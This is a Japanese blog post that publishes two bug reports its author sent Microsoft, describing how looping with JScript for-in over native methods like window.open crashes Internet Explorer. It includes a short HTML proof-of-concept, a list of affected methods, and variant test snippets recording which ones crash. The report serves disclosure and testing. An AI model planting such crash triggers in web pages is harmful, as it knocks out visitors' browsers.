IEが強制終了(落ちる)バグを報告したときの内容を公開します。
以前のIEのバグ報告の結末で言った、
“同じ原因に起因する同じ現象や解説をネット上で発見した(された)とき。”
が該当しましたので、ここにそのときの情報を公開します。
※Microsoftからの返信メールについては、以前の記事をご覧ください。
発見先:
http://d.hatena.ne.jp/shogo4405/20060903/1157257268
以下、途中を省略している部分があります。
3/23にMicrosoftに送信したメール
==============
脆弱性に関して
==============
■ 概要
InternetExplorerで(JScriptの)特定のコードが実行されると突然終了する。
★発生方法
JScriptでブラウザ組み込みのネイティブオブジェクトの持つメソッドを
ポインタとしてfor-inでそのメソッドの持つプロパティを列挙しようとすると
InternetExplorerが突然終了する。
突然終了とは、(OS側で用意していると思われる)共通のMSに対するエラー
報告(送信)画面が出る。
環境2の場合のみ、その後ダイアログが出現してから落ちる。
なお、(当然だが)同じプロセスのIEのみが落ちる。
※ただし、スクリプトレットでは発生しない(!!)
★発生タイミング
特定のコード(上記)が実行されたとき。
ファイルの読み込み時(=ページロード時)かイベント発生時かは問わない。
★実証コード
例えば以下のHTMLファイルを開き、EXECをクリックします。
<html>
<head>
<script language="JScript">
function test() {
for(var x in window.open) ;
}
</script>
</head>
<body>
<div onclick="test();">EXEC</div>
</body>
</html>
★実証コード(スクリプトレット)
以下をアドレスバーに入れてEnterでもIEは落ちない。
javascript:void( (function(){for(var x in window.open);})( ) );
★脆弱性について
for-inに出会うとその場でIEが落ちます。
これだけでは重大な脆弱性とは考えづらいですが、
(1)必ず発生します。
(2)ほとんど全てのメソッドで発生します。
(3)以前にwindow()の件があった。
これらの理由により、脆弱性に関わる調査する必要があると思われます。
なお、私はいわゆる"攻撃"の方法に関する知識がないので、
脆弱性にどれだけ関わるかを調査することはでませんでした。
⇒マイクロソフト側で調査していただきたいと思います。
★発生するメソッド(確認済みのみ)
以下のメソッドで発生を確認。
window.blur
.focus
.close
.open
.createPopup
.moveBy
.moveTo
.resizeBy
.resizeTo
.navigate
.scroll
.scrollBy
.scrollTo
alert
confirm
prompt
showModalDialog
showModelessDialog
showHelp
setTimeout
setInterval
clearTimeout
clearInterval
document.getElementById
.getElementsByName
.getElementsByTagName
.attachEvent
.detachEvent
.clear
.close
.open
.write
.writeln
.createElement
.createStyleSheet
.elementFromPoint
.hasFocus
history.back
.forward
.go
★発生しないメソッド
多数の確認はしていないが、ECMAScriptで定義されている
メソッドは発生しないようです。
■ 脆弱性を悪用するシナリオ
以前の*******と同様の攻撃コードは実行されないのか?
※攻撃コード自体に対する知識がないので、私には断言できません。
IEユーザーがページを見るだけでそのユーザーのIEを落とすことができます。
または特定のアクションなどでも落とすことが可能です。
■ 回避策
IEが落ちることに関する回避策は、2度とそのページを見ないようにすること。
または、アクティブスクリプトを実行しないように設定すること。
4/5にMicrosoftに送信したメール
========
追加情報
========
すでに調査済みであるとは思いますが、
その後こちらで把握している現象について
追加報告いたします。
前回のメールでの"環境2"において、
window.openをサンプルに下記の調査(※)
及び結果となりました。
(※IEが落ちるかどうかについての調査です!)
◆window["open"]をfor-inにかける
[ソース]
for(var i in window["open"]) ;
⇒結果:NG
◆window.open以下に何か付ける
[ソース]
window.open.hoge = 3;
for(var i in window.open) ;
⇒結果:OK
(JSのエラーが発生し、IEは落ちない)
◆window.open以下に何か付けて、消す
[ソース]
window.open.hoge = 3;
delete window.open.hoge;
for(var i in window.open) ;
⇒結果:OK
(JSのエラーが発生し、IEは落ちない)
◆window.open以下に存在しない何かを消す
[ソース]
delete window.open.hoge;
for(var i in window.open) ;
⇒結果:OK
(JSのエラーが発生し、IEは落ちない)
◆window.open以下の存在しない何かを参照だけする
[ソース]
var x = window.open.hoge; // undefined
for(var i in window.open) ;
⇒結果:NG
◆window.open以下の存在しない何かを実行する
[ソース]
try {
window.open.hoge();
} catch(e) {
// ignore.
}
for(var i in window.open) ;
⇒結果:NG
◆window.open自体を前もって実行する
[ソース]
window.open();
for(var i in window.open) ;
⇒結果:NG
◆window.openを別の変数に入れ、for-inにかける
var wo = window.open;
for(var i in wo) ;
⇒結果:NG
◆window.openを関数の戻り値として受け、for-inにかける
function wo() {
return window.open;
}
for(var i in wo()) ;
⇒結果:NG
◆別Windowのページから参照で呼び出す
====本体====
function test() {
for(var i in window.open) ;
}
====別Win(子)パターン1====
opener.test();
====別Win(子)パターン2====
eval("opener.test();");
====別Win(子)パターン3====
with(opener) {
test();
}
⇒結果:OK(パターン1,2,3とも)
(JSのエラーが発生し、IEは落ちない)
◆別Windowのページから親のsetTimeoutで呼び出す
====本体====
function test() {
for(var i in window.open) ;
}
====別Win(子)パターン1====
opener.setTimeout("test();", 3000);
====別Win(子)パターン2====
opener.setTimeout(opener.test, 3000);
⇒結果:NG(パターン1,2とも)